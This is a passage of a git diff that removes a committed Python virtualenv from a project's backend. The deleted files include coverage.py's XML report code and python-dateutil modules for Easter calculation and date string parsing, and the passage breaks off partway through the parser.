== 0: - pct = 0.0 - else: - pct = 100.0 * (lhits_tot + bhits_tot) / denom - return pct - - def xml_file(self, fr: FileReporter, analysis: Analysis, has_arcs: bool) -> None: - """Add to the XML report for a single file.""" - - if self.config.skip_empty: - if analysis.numbers.n_statements == 0: - return - - # Create the "lines" and "package" XML elements, which - # are populated later. Note that a package == a directory. - filename = fr.filename.replace("\\", "/") - for source_path in self.source_paths: - if not self.config.relative_files: - source_path = files.canonical_filename(source_path) - if filename.startswith(source_path.replace("\\", "/") + "/"): - rel_name = filename[len(source_path)+1:] - break - else: - rel_name = fr.relative_filename().replace("\\", "/") - self.source_paths.add(fr.filename[:-len(rel_name)].rstrip(r"\/")) - - dirname = os.path.dirname(rel_name) or "." - dirname = "/".join(dirname.split("/")[:self.config.xml_package_depth]) - package_name = dirname.replace("/", ".") - - package = self.packages.setdefault(package_name, PackageData({}, 0, 0, 0, 0)) - - xclass: xml.dom.minidom.Element = self.xml_out.createElement("class") - - appendChild(xclass, self.xml_out.createElement("methods")) - - xlines = self.xml_out.createElement("lines") - appendChild(xclass, xlines) - - xclass.setAttribute("name", os.path.relpath(rel_name, dirname)) - xclass.setAttribute("filename", rel_name.replace("\\", "/")) - xclass.setAttribute("complexity", "0") - - branch_stats = analysis.branch_stats() - missing_branch_arcs = analysis.missing_branch_arcs() - - # For each statement, create an XML "line" element. - for line in sorted(analysis.statements): - xline = self.xml_out.createElement("line") - xline.setAttribute("number", str(line)) - - # Q: can we get info about the number of times a statement is - # executed? If so, that should be recorded here. - xline.setAttribute("hits", str(int(line not in analysis.missing))) - - if has_arcs: - if line in branch_stats: - total, taken = branch_stats[line] - xline.setAttribute("branch", "true") - xline.setAttribute( - "condition-coverage", - "%d%% (%d/%d)" % (100*taken//total, taken, total), - ) - if line in missing_branch_arcs: - annlines = ["exit" if b < 0 else str(b) for b in missing_branch_arcs[line]] - xline.setAttribute("missing-branches", ",".join(annlines)) - appendChild(xlines, xline) - - class_lines = len(analysis.statements) - class_hits = class_lines - len(analysis.missing) - - if has_arcs: - class_branches = sum(t for t, k in branch_stats.values()) - missing_branches = sum(t - k for t, k in branch_stats.values()) - class_br_hits = class_branches - missing_branches - else: - class_branches = 0 - class_br_hits = 0 - - # Finalize the statistics that are collected in the XML DOM. - xclass.setAttribute("line-rate", rate(class_hits, class_lines)) - if has_arcs: - branch_rate = rate(class_br_hits, class_branches) - else: - branch_rate = "0" - xclass.setAttribute("branch-rate", branch_rate) - - package.elements[rel_name] = xclass - package.hits += class_hits - package.lines += class_lines - package.br_hits += class_br_hits - package.branches += class_branches - - -def serialize_xml(dom: xml.dom.minidom.Document) -> str: - """Serialize a minidom node to XML.""" - return dom.toprettyxml() diff --git a/backend/venv/Lib/site-packages/dateutil/__init__.py b/backend/venv/Lib/site-packages/dateutil/__init__.py deleted file mode 100644 index a2c19c06..00000000 --- a/backend/venv/Lib/site-packages/dateutil/__init__.py +++ /dev/null @@ -1,24 +0,0 @@ -# -*- coding: utf-8 -*- -import sys - -try: - from ._version import version as __version__ -except ImportError: - __version__ = 'unknown' - -__all__ = ['easter', 'parser', 'relativedelta', 'rrule', 'tz', - 'utils', 'zoneinfo'] - -def __getattr__(name): - import importlib - - if name in __all__: - return importlib.import_module("." + name, __name__) - raise AttributeError( - "module {!r} has not attribute {!r}".format(__name__, name) - ) - - -def __dir__(): - # __dir__ should include all the lazy-importable modules as well. - return [x for x in globals() if x not in sys.modules] + __all__ diff --git a/backend/venv/Lib/site-packages/dateutil/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 5f271f42..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/__pycache__/_common.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/__pycache__/_common.cpython-311.pyc deleted file mode 100644 index 5ac88154..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/__pycache__/_common.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/__pycache__/_version.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/__pycache__/_version.cpython-311.pyc deleted file mode 100644 index 0153cc83..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/__pycache__/_version.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/__pycache__/easter.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/__pycache__/easter.cpython-311.pyc deleted file mode 100644 index ef39e31f..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/__pycache__/easter.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/__pycache__/relativedelta.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/__pycache__/relativedelta.cpython-311.pyc deleted file mode 100644 index c50b0da4..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/__pycache__/relativedelta.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/__pycache__/rrule.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/__pycache__/rrule.cpython-311.pyc deleted file mode 100644 index 62a146c0..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/__pycache__/rrule.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/__pycache__/tzwin.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/__pycache__/tzwin.cpython-311.pyc deleted file mode 100644 index 6586f09a..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/__pycache__/tzwin.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/__pycache__/utils.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/__pycache__/utils.cpython-311.pyc deleted file mode 100644 index 611b9fe4..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/__pycache__/utils.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/_common.py b/backend/venv/Lib/site-packages/dateutil/_common.py deleted file mode 100644 index 4eb2659b..00000000 --- a/backend/venv/Lib/site-packages/dateutil/_common.py +++ /dev/null @@ -1,43 +0,0 @@ -""" -Common code used in multiple modules. -""" - - -class weekday(object): - __slots__ = ["weekday", "n"] - - def __init__(self, weekday, n=None): - self.weekday = weekday - self.n = n - - def __call__(self, n): - if n == self.n: - return self - else: - return self.__class__(self.weekday, n) - - def __eq__(self, other): - try: - if self.weekday != other.weekday or self.n != other.n: - return False - except AttributeError: - return False - return True - - def __hash__(self): - return hash(( - self.weekday, - self.n, - )) - - def __ne__(self, other): - return not (self == other) - - def __repr__(self): - s = ("MO", "TU", "WE", "TH", "FR", "SA", "SU")[self.weekday] - if not self.n: - return s - else: - return "%s(%+d)" % (s, self.n) - -# vim:ts=4:sw=4:et diff --git a/backend/venv/Lib/site-packages/dateutil/_version.py b/backend/venv/Lib/site-packages/dateutil/_version.py deleted file mode 100644 index ddda9809..00000000 --- a/backend/venv/Lib/site-packages/dateutil/_version.py +++ /dev/null @@ -1,4 +0,0 @@ -# file generated by setuptools_scm -# don't change, don't track in version control -__version__ = version = '2.9.0.post0' -__version_tuple__ = version_tuple = (2, 9, 0) diff --git a/backend/venv/Lib/site-packages/dateutil/easter.py b/backend/venv/Lib/site-packages/dateutil/easter.py deleted file mode 100644 index f74d1f74..00000000 --- a/backend/venv/Lib/site-packages/dateutil/easter.py +++ /dev/null @@ -1,89 +0,0 @@ -# -*- coding: utf-8 -*- -""" -This module offers a generic Easter computing method for any given year, using -Western, Orthodox or Julian algorithms. -""" - -import datetime - -__all__ = ["easter", "EASTER_JULIAN", "EASTER_ORTHODOX", "EASTER_WESTERN"] - -EASTER_JULIAN = 1 -EASTER_ORTHODOX = 2 -EASTER_WESTERN = 3 - - -def easter(year, method=EASTER_WESTERN): - """ - This method was ported from the work done by GM Arts, - on top of the algorithm by Claus Tondering, which was - based in part on the algorithm of Ouding (1940), as - quoted in "Explanatory Supplement to the Astronomical - Almanac", P. Kenneth Seidelmann, editor. - - This algorithm implements three different Easter - calculation methods: - - 1. Original calculation in Julian calendar, valid in - dates after 326 AD - 2. Original method, with date converted to Gregorian - calendar, valid in years 1583 to 4099 - 3. Revised method, in Gregorian calendar, valid in - years 1583 to 4099 as well - - These methods are represented by the constants: - - * ``EASTER_JULIAN = 1`` - * ``EASTER_ORTHODOX = 2`` - * ``EASTER_WESTERN = 3`` - - The default method is method 3. - - More about the algorithm may be found at: - - `GM Arts: Easter Algorithms `_ - - and - - `The Calendar FAQ: Easter `_ - - """ - - if not (1 <= method <= 3): - raise ValueError("invalid method") - - # g - Golden year - 1 - # c - Century - # h - (23 - Epact) mod 30 - # i - Number of days from March 21 to Paschal Full Moon - # j - Weekday for PFM (0=Sunday, etc) - # p - Number of days from March 21 to Sunday on or before PFM - # (-6 to 28 methods 1 & 3, to 56 for method 2) - # e - Extra days to add for method 2 (converting Julian - # date to Gregorian date) - - y = year - g = y % 19 - e = 0 - if method < 3: - # Old method - i = (19*g + 15) % 30 - j = (y + y//4 + i) % 7 - if method == 2: - # Extra dates to convert Julian to Gregorian date - e = 10 - if y > 1600: - e = e + y//100 - 16 - (y//100 - 16)//4 - else: - # New method - c = y//100 - h = (c - c//4 - (8*c + 13)//25 + 19*g + 15) % 30 - i = h - (h//28)*(1 - (h//28)*(29//(h + 1))*((21 - g)//11)) - j = (y + y//4 + i + 2 - c + c//4) % 7 - - # p can be from -6 to 56 corresponding to dates 22 March to 23 May - # (later dates apply to method 2, although 23 May never actually occurs) - p = i - j + e - d = 1 + (p + 27 + (p + 6)//40) % 31 - m = 3 + (p + 26)//30 - return datetime.date(int(y), int(m), int(d)) diff --git a/backend/venv/Lib/site-packages/dateutil/parser/__init__.py b/backend/venv/Lib/site-packages/dateutil/parser/__init__.py deleted file mode 100644 index d174b0e4..00000000 --- a/backend/venv/Lib/site-packages/dateutil/parser/__init__.py +++ /dev/null @@ -1,61 +0,0 @@ -# -*- coding: utf-8 -*- -from ._parser import parse, parser, parserinfo, ParserError -from ._parser import DEFAULTPARSER, DEFAULTTZPARSER -from ._parser import UnknownTimezoneWarning - -from ._parser import __doc__ - -from .isoparser import isoparser, isoparse - -__all__ = ['parse', 'parser', 'parserinfo', - 'isoparse', 'isoparser', - 'ParserError', - 'UnknownTimezoneWarning'] - - -### -# Deprecate portions of the private interface so that downstream code that -# is improperly relying on it is given *some* notice. - - -def __deprecated_private_func(f): - from functools import wraps - import warnings - - msg = ('{name} is a private function and may break without warning, ' - 'it will be moved and or renamed in future versions.') - msg = msg.format(name=f.__name__) - - @wraps(f) - def deprecated_func(*args, **kwargs): - warnings.warn(msg, DeprecationWarning) - return f(*args, **kwargs) - - return deprecated_func - -def __deprecate_private_class(c): - import warnings - - msg = ('{name} is a private class and may break without warning, ' - 'it will be moved and or renamed in future versions.') - msg = msg.format(name=c.__name__) - - class private_class(c): - __doc__ = c.__doc__ - - def __init__(self, *args, **kwargs): - warnings.warn(msg, DeprecationWarning) - super(private_class, self).__init__(*args, **kwargs) - - private_class.__name__ = c.__name__ - - return private_class - - -from ._parser import _timelex, _resultbase -from ._parser import _tzparser, _parsetz - -_timelex = __deprecate_private_class(_timelex) -_tzparser = __deprecate_private_class(_tzparser) -_resultbase = __deprecate_private_class(_resultbase) -_parsetz = __deprecated_private_func(_parsetz) diff --git a/backend/venv/Lib/site-packages/dateutil/parser/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/parser/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 3e180f7f..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/parser/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/parser/__pycache__/_parser.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/parser/__pycache__/_parser.cpython-311.pyc deleted file mode 100644 index cffcff0b..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/parser/__pycache__/_parser.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/parser/__pycache__/isoparser.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/parser/__pycache__/isoparser.cpython-311.pyc deleted file mode 100644 index a13b267e..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/parser/__pycache__/isoparser.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/parser/_parser.py b/backend/venv/Lib/site-packages/dateutil/parser/_parser.py deleted file mode 100644 index 37d1663b..00000000 --- a/backend/venv/Lib/site-packages/dateutil/parser/_parser.py +++ /dev/null @@ -1,1613 +0,0 @@ -# -*- coding: utf-8 -*- -""" -This module offers a generic date/time string parser which is able to parse -most known formats to represent a date and/or time. - -This module attempts to be forgiving with regards to unlikely input formats, -returning a datetime object even for dates which are ambiguous. If an element -of a date/time stamp is omitted, the following rules are applied: - -- If AM or PM is left unspecified, a 24-hour clock is assumed, however, an hour - on a 12-hour clock (``0 <= hour <= 12``) *must* be specified if AM or PM is - specified. -- If a time zone is omitted, a timezone-naive datetime is returned. - -If any other elements are missing, they are taken from the -:class:`datetime.datetime` object passed to the parameter ``default``. If this -results in a day number exceeding the valid number of days per month, the -value falls back to the end of the month. - -Additional resources about date/time string formats can be found below: - -- `A summary of the international standard date and time notation - `_ -- `W3C Date and Time Formats `_ -- `Time Formats (Planetary Rings Node) `_ -- `CPAN ParseDate module - `_ -- `Java SimpleDateFormat Class - `_ -""" -from __future__ import unicode_literals - -import datetime -import re -import string -import time -import warnings - -from calendar import monthrange -from io import StringIO - -import six -from six import integer_types, text_type - -from decimal import Decimal - -from warnings import warn - -from .. import relativedelta -from .. import tz - -__all__ = ["parse", "parserinfo", "ParserError"] - - -# TODO: pandas.core.tools.datetimes imports this explicitly. Might be worth -# making public and/or figuring out if there is something we can -# take off their plate. -class _timelex(object): - # Fractional seconds are sometimes split by a comma - _split_decimal = re.compile("([.,])") - - def __init__(self, instream): - if isinstance(instream, (bytes, bytearray)): - instream = instream.decode() - - if isinstance(instream, text_type): - instream = StringIO(instream) - elif getattr(instream, 'read', None) is None: - raise TypeError('Parser must be a string or character stream, not ' - '{itype}'.format(itype=instream.__class__.__name__)) - - self.instream = instream - self.charstack = [] - self.tokenstack = [] - self.eof = False - - def get_token(self): - """ - This function breaks the time string into lexical units (tokens), which - can be parsed by the parser. Lexical units are demarcated by changes in - the character set, so any continuous string of letters is considered - one unit, any continuous string of numbers is considered one unit. - - The main complication arises from the fact that dots ('.') can be used - both as separators (e.g. "Sep.20.2009") or decimal points (e.g. - "4:30:21.447"). As such, it is necessary to read the full context of - any dot-separated strings before breaking it into tokens; as such, this - function maintains a "token stack", for when the ambiguous context - demands that multiple tokens be parsed at once. - """ - if self.tokenstack: - return self.tokenstack.pop(0) - - seenletters = False - token = None - state = None - - while not self.eof: - # We only realize that we've reached the end of a token when we - # find a character that's not part of the current token - since - # that character may be part of the next token, it's stored in the - # charstack. - if self.charstack: - nextchar = self.charstack.pop(0) - else: - nextchar = self.instream.read(1) - while nextchar == '\x00': - nextchar = self.instream.read(1) - - if not nextchar: - self.eof = True - break - elif not state: - # First character of the token - determines if we're starting - # to parse a word, a number or something else. - token = nextchar - if self.isword(nextchar): - state = 'a' - elif self.isnum(nextchar): - state = '0' - elif self.isspace(nextchar): - token = ' ' - break # emit token - else: - break # emit token - elif state == 'a': - # If we've already started reading a word, we keep reading - # letters until we find something that's not part of a word. - seenletters = True - if self.isword(nextchar): - token += nextchar - elif nextchar == '.': - token += nextchar - state = 'a.' - else: - self.charstack.append(nextchar) - break # emit token - elif state == '0': - # If we've already started reading a number, we keep reading - # numbers until we find something that doesn't fit. - if self.isnum(nextchar): - token += nextchar - elif nextchar == '.' or (nextchar == ',' and len(token) >= 2): - token += nextchar - state = '0.' - else: - self.charstack.append(nextchar) - break # emit token - elif state == 'a.': - # If we've seen some letters and a dot separator, continue - # parsing, and the tokens will be broken up later. - seenletters = True - if nextchar == '.' or self.isword(nextchar): - token += nextchar - elif self.isnum(nextchar) and token[-1] == '.': - token += nextchar - state = '0.' - else: - self.charstack.append(nextchar) - break # emit token - elif state == '0.': - # If we've seen at least one dot separator, keep going, we'll - # break up the tokens later. - if nextchar == '.' or self.isnum(nextchar): - token += nextchar - elif self.isword(nextchar) and token[-1] == '.': - token += nextchar - state = 'a.' - else: - self.charstack.append(nextchar) - break # emit token - - if (state in ('a.', '0.') and (seenletters or token.count('.') > 1 or - token[-1] in '.,')): - l = self._split_decimal.split(token) - token = l[0] - for tok in l[1:]: - if tok: - self.tokenstack.append(tok) - - if state == '0.' and token.count('.') == 0: - token = token.replace(',', '.') - - return token - - def __iter__(self): - return self - - def __next__(self): - token = self.get_token() - if token is None: - raise StopIteration - - return token - - def next(self): - return self.__next__() # Python 2.x support - - @classmethod - def split(cls, s): - return list(cls(s)) - - @classmethod - def isword(cls, nextchar): - """ Whether or not the next character is part of a word """ - return nextchar.isalpha() - - @classmethod - def isnum(cls, nextchar): - """ Whether the next character is part of a number """ - return nextchar.isdigit() - - @classmethod - def isspace(cls, nextchar): - """ Whether the next character is whitespace """ - return nextchar.isspace() - - -class _resultbase(object): - - def __init__(self): - for attr in self.__slots__: - setattr(self, attr, None) - - def _repr(self, classname): - l = [] - for attr in self.__slots__: - value = getattr(self, attr) - if value is not None: - l.append("%s=%s" % (attr, repr(value))) - return "%s(%s)" % (classname, ", ".join(l)) - - def __len__(self): - return (sum(getattr(self, attr) is not None - for attr in self.__slots__)) - - def __repr__(self): - return self._repr(self.__class__.__name__) - - -class parserinfo(object): - """ - Class which handles what inputs are accepted. Subclass this to customize - the language and acceptable values for each parameter. - - :param dayfirst: - Whether to interpret the first value in an ambiguous 3-integer date - (e.g. 01/05/09) as the day (``True``) or month (``False``). If - ``yearfirst`` is set to ``True``, this distinguishes between YDM - and YMD. Default is ``False``. - - :param yearfirst: - Whether to interpret the first value in an ambiguous 3-integer date - (e.g. 01/05/09) as the year. If ``True``, the first number is taken - to be the year, otherwise the last number is taken to be the year. - Default is ``False``. - """ - - # m from a.m/p.m, t from ISO T separator - JUMP = [" ", ".", ",", ";", "-", "/", "'", - "at", "on", "and", "ad", "m", "t", "of", - "st", "nd", "rd", "th"] - - WEEKDAYS = [("Mon", "Monday"), - ("Tue", "Tuesday"), # TODO: "Tues" - ("Wed", "Wednesday"), - ("Thu", "Thursday"), # TODO: "Thurs" - ("Fri", "Friday"), - ("Sat", "Saturday"), - ("Sun", "Sunday")] - MONTHS = [("Jan", "January"), - ("Feb", "February"), # TODO: "Febr" - ("Mar", "March"), - ("Apr", "April"), - ("May", "May"), - ("Jun", "June"), - ("Jul", "July"), - ("Aug", "August"), - ("Sep", "Sept", "September"), - ("Oct", "October"), - ("Nov", "November"), - ("Dec", "December")] - HMS = [("h", "hour", "hours"), - ("m", "minute", "minutes"), - ("s", "second", "seconds")] - AMPM = [("am", "a"), - ("pm", "p")] - UTCZONE = ["UTC", "GMT", "Z", "z"] - PERTAIN = ["of"] - TZOFFSET = {} - # TODO: ERA = ["AD", "BC", "CE", "BCE", "Stardate", - # "Anno Domini", "Year of Our Lord"] - - def __init__(self, dayfirst=False, yearfirst=False): - self._jump = self._convert(self.JUMP) - self._weekdays = self._convert(self.WEEKDAYS) - self._months = self._convert(self.MONTHS) - self._hms = self._convert(self.HMS) - self._ampm = self._convert(self.AMPM) - self._utczone = self._convert(self.UTCZONE) - self._pertain = self._convert(self.PERTAIN) - - self.dayfirst = dayfirst - self.yearfirst = yearfirst - - self._year = time.localtime().tm_year - self._century = self._year // 100 * 100 - - def _convert(self, lst): - dct = {} - for i, v in enumerate(lst): - if isinstance(v, tuple): - for v in v: - dct[v.lower()] = i - else: - dct[v.lower()] = i - return dct - - def jump(self, name): - return name.lower() in self._jump - - def weekday(self, name): - try: - return self._weekdays[name.lower()] - except KeyError: - pass - return None - - def month(self, name): - try: - return self._months[name.lower()] + 1 - except KeyError: - pass - return None - - def hms(self, name): - try: - return self._hms[name.lower()] - except KeyError: - return None - - def ampm(self, name): - try: - return self._ampm[name.lower()] - except KeyError: - return None - - def pertain(self, name): - return name.lower() in self._pertain - - def utczone(self, name): - return name.lower() in self._utczone - - def tzoffset(self, name): - if name in self._utczone: - return 0 - - return self.TZOFFSET.get(name) - - def convertyear(self, year, century_specified=False): - """ - Converts two-digit years to year within [-50, 49] - range of self._year (current local time) - """ - - # Function contract is that the year is always positive - assert year >= 0 - - if year < 100 and not century_specified: - # assume current century to start - year += self._century - - if year >= self._year + 50: # if too far in future - year -= 100 - elif year < self._year - 50: # if too far in past - year += 100 - - return year - - def validate(self, res): - # move to info - if res.year is not None: - res.year = self.convertyear(res.year, res.century_specified) - - if ((res.tzoffset == 0 and not res.tzname) or - (res.tzname == 'Z' or res.tzname == 'z')): - res.tzname = "UTC" - res.tzoffset = 0 - elif res.tzoffset != 0 and res.tzname and self.utczone(res.tzname): - res.tzoffset = 0 - return True - - -class _ymd(list): - def __init__(self, *args, **kwargs): - super(self.__class__, self).__init__(*args, **kwargs) - self.century_specified = False - self.dstridx = None - self.mstridx = None - self.ystridx = None - - @property - def has_year(self): - return self.ystridx is not None - - @property - def has_month(self): - return self.mstridx is not None - - @property - def has_day(self): - return self.dstridx is not None - - def could_be_day(self, value): - if self.has_day: - return False - elif not self.has_month: - return 1 <= value <= 31 - elif not self.has_year: - # Be permissive, assume leap year - month = self[self.mstridx] - return 1 <= value <= monthrange(2000, month)[1] - else: - month = self[self.mstridx] - year = self[self.ystridx] - return 1 <= value <= monthrange(year, month)[1] - - def append(self, val, label=None): - if hasattr(val, '__len__'): - if val.isdigit() and len(val) > 2: - self.century_specified = True - if label not in [None, 'Y']: # pragma: no cover - raise ValueError(label) - label = 'Y' - elif val > 100: - self.century_specified = True - if label not in [None, 'Y']: # pragma: no cover - raise ValueError(label) - label = 'Y' - - super(self.__class__, self).append(int(val)) - - if label == 'M': - if self.has_month: - raise ValueError('Month is already set') - self.mstridx = len(self) - 1 - elif label == 'D': - if self.has_day: - raise ValueError('Day is already set') - self.dstridx = len(self) - 1 - elif label == 'Y': - if self.has_year: - raise ValueError('Year is already set') - self.ystridx = len(self) - 1 - - def _resolve_from_stridxs(self, strids): - """ - Try to resolve the identities of year/month/day elements using - ystridx, mstridx, and dstridx, if enough of these are specified. - """ - if len(self) == 3 and len(strids) == 2: - # we can back out the remaining stridx value - missing = [x for x in range(3) if x not in strids.values()] - key = [x for x in ['y', 'm', 'd'] if x not in strids] - assert len(missing) == len(key) == 1 - key = key[0] - val = missing[0] - strids[key] = val - - assert len(self) == len(strids) # otherwise this should not be called - out = {key: self[strids[key]] for key in strids} - return (out.get('y'), out.get('m'), out.get('d')) - - def resolve_ymd(self, yearfirst, dayfirst): - len_ymd = len(self) - year, month, day = (None, None, None) - - strids = (('y', self.ystridx), - ('m', self.mstridx), - ('d', self.dstridx)) - - strids = {key: val for key, val in strids if val is not None} - if (len(self) == len(strids) > 0 or - (len(self) == 3 and len(strids) == 2)): - return self._resolve_from_stridxs(strids) - - mstridx = self.mstridx - - if len_ymd > 3: - raise ValueError("More than three YMD values") - elif len_ymd == 1 or (mstridx is not None and len_ymd == 2): - # One member, or two members with a month string - if mstridx is not None: - month = self[mstridx] - # since mstridx is 0 or 1, self[mstridx-1] always - # looks up the other element - other = self[mstridx - 1] - else: - other = self[0] - - if len_ymd > 1 or mstridx is None: - if other > 31: - year = other - else: - day = other - - elif len_ymd == 2: - # Two members with numbers - if self[0] > 31: - # 99-01 - year, month = self - elif self[1] > 31: - # 01-99 - month, year = self - elif dayfirst and self[1] <= 12: - # 13-01 - day, month = self - else: - # 01-13 - month, day = self - - elif len_ymd == 3: - # Three members - if mstridx == 0: - if self[1] > 31: - # Apr-2003-25 - month, year, day = self - else: - month, day, year = self - elif mstridx == 1: - if self[0] > 31 or (yearfirst and self[2] <= 31): - # 99-Jan-01 - year, month, day = self - else: - # 01-Jan-01 - # Give precedence to day-first, since - # two-digit years is usually hand-written. - day, month, year = self - - elif mstridx == 2: - # WTF!? - if self[1] > 31: - # 01-99-Jan - day, year, month = self - else: - # 99-01-Jan - year, day, month = self - - else: - if (self[0] > 31 or - self.ystridx == 0 or - (yearfirst and self[1] <= 12 and self[2] <= 31)): - # 99-01-01 - if dayfirst and self[2] <= 12: - year, day, month = self - else: - year, month, day = self - elif self[0] > 12 or (dayfirst and self[1] <= 12): - # 13-01-01 - day, month, year = self - else: - # 01-13-01 - month, day, year = self - - return year, month, day - - -class parser(object): - def __init__(self, info=None): - self.info = info or parserinfo() - - def parse(self, timestr, default=None, - ignoretz=False, tzinfos=None, **kwargs): - """ - Parse the date/time string into a :class:`datetime.datetime` object. - - :param timestr: - Any date/time string using the supported formats. - - :param default: - The default datetime object, if this is a datetime object and not - ``None``, elements specified in ``timestr`` replace elements in the - default object. - - :param ignoretz: - If set ``True``, time zones in parsed strings are ignored and a - naive :class:`datetime.datetime` object is returned. - - :param tzinfos: - Additional time zone names / aliases which may be present in the - string. This argument maps time zone names (and optionally offsets - from those time zones) to time zones. This parameter can be a - dictionary with timezone aliases mapping time zone names to time - zones or a function taking two parameters (``tzname`` and - ``tzoffset``) and returning a time zone. - - The timezones to which the names are mapped can be an integer - offset from UTC in seconds or a :class:`tzinfo` object. - - .. doctest:: - :options: +NORMALIZE_WHITESPACE - - >>> from dateutil.parser import parse - >>> from dateutil.tz import gettz - >>> tzinfos = {"BRST": -7200, "CST": gettz("America/Chicago")} - >>> parse("2012-01-19 17:21:00 BRST", tzinfos=tzinfos) - datetime.datetime(2012, 1, 19, 17, 21, tzinfo=tzoffset(u'BRST', -7200)) - >>> parse("2012-01-19 17:21:00 CST", tzinfos=tzinfos) - datetime.datetime(2012, 1, 19, 17, 21, - tzinfo=tzfile('/usr/share/zoneinfo/America/Chicago')) - - This parameter is ignored if ``ignoretz`` is set. - - :param \\*\\*kwargs: - Keyword arguments as passed to ``_parse()``. - - :return: - Returns a :class:`datetime.datetime` object or, if the - ``fuzzy_with_tokens`` option is ``True``, returns a tuple, the - first element being a :class:`datetime.datetime` object, the second - a tuple containing the fuzzy tokens. - - :raises ParserError: - Raised for invalid or unknown string format, if the provided - :class:`tzinfo` is not in a valid format, or if an invalid date - would be created. - - :raises TypeError: - Raised for non-string or character stream input. - - :raises OverflowError: - Raised if the parsed date exceeds the largest valid C integer on - your system. - """ - - if default is None: - default = datetime.datetime.now().replace(hour=0, minute=0, - second=0, microsecond=0) - - res, skipped_tokens = self._parse(timestr, **kwargs) - - if res is None: - raise ParserError("Unknown string format: %s", timestr) - - if len(res) == 0: - raise ParserError("String does not contain a date: %s", timestr) - - try: - ret = self._build_naive(res, default) - except ValueError as e: - six.raise_from(ParserError(str(e) + ": %s", timestr), e) - - if not ignoretz: - ret = self._build_tzaware(ret, res, tzinfos) - - if kwargs.get('fuzzy_with_tokens', False): - return ret, skipped_tokens - else: - return ret - - class _result(_resultbase): - __slots__ = ["year", "month", "day", "weekday", - "hour", "minute", "second", "microsecond", - "tzname", "tzoffset", "ampm","any_unused_tokens"] - - def _parse(self, timestr, dayfirst=None, yearfirst=None, fuzzy=False, - fuzzy_with_tokens=False): - """ - Private method which performs the heavy lifting of parsing, called from - ``parse()``, which passes on its ``kwargs`` to this function. - - :param timestr: - The string to parse. - - :param dayfirst: - Whether to interpret the first value in an ambiguous 3-integer date - (e.g. 01/05/09) as the day (``True``) or month (``False``). If - ``yearfirst`` is set to ``True``, this distinguishes between YDM - and YMD. If set to ``None``, this value is retrieved from the - current :class:`parserinfo` object (which itself defaults to - ``False``). - - :param yearfirst: - Whether to interpret the first value in an ambiguous 3-integer date - (e.g. 01/05/09) as the year. If ``True``, the first number is taken - to be the year, otherwise the last number is taken to be the year. - If this is set to ``None``, the value is retrieved from the current - :class:`parserinfo` object (which itself defaults to ``False``). - - :param fuzzy: - Whether to allow fuzzy parsing, allowing for string like "Today is - January 1, 2047 at 8:21:00AM". - - :param fuzzy_with_tokens: - If ``True``, ``fuzzy`` is automatically set to True, and the parser - will return a tuple where the first element is the parsed - :class:`datetime.datetime` datetimestamp and the second element is - a tuple containing the portions of the string which were ignored: - - .. doctest:: - - >>> from dateutil.parser import parse - >>> parse("Today is January 1, 2047 at 8:21:00AM", fuzzy_with_tokens=True) - (datetime.datetime(2047, 1, 1, 8, 21), (u'Today is ', u' ', u'at ')) - - """ - if fuzzy_with_tokens: - fuzzy = True - - info = self.info - - if dayfirst is None: - dayfirst = info.dayfirst - - if yearfirst is None: - yearfirst = info.yearfirst - - res = self._result() - l = _timelex.split(timestr) # Splits the timestr into tokens - - skipped_idxs = [] - - # year/month/day list - ymd = _ymd() - - len_l = len(l) - i = 0 - try: - while i < len_l: - - # Check if it's a number - value_repr = l[i] - try: - value = float(value_repr) - except ValueError: - value = None - - if value is not None: - # Numeric token - i = self._parse_numeric_token(l, i, info, ymd, res, fuzzy) - - # Check weekday - elif info.weekday(l[i]) is not None: - value = info.weekday(l[i]) - res.weekday = value - - # Check month name - elif info.month(l[i]) is not None: - value = info.month(l[i]) - ymd.append(value, 'M') - - if i + 1 < len_l: - if l[i + 1] in ('-', '/'): - # Jan-01[-99] - sep = l[i + 1] - ymd.append(l[i + 2]) - - if i + 3 < len_l and l[i + 3] == sep: - # Jan-01-99 - ymd.append(l[i + 4]) - i += 2 - - i += 2 - - elif (i + 4 < len_l and l[i + 1] == l[i + 3] == ' ' and - info.pertain(l[i + 2])): - # Jan of 01 - # In this case, 01 is clearly year - if l[i + 4].isdigit(): - # Convert it here to become unambiguous - value = int(l[i + 4]) - year = str(info.convertyear(value)) - ymd.append(year, 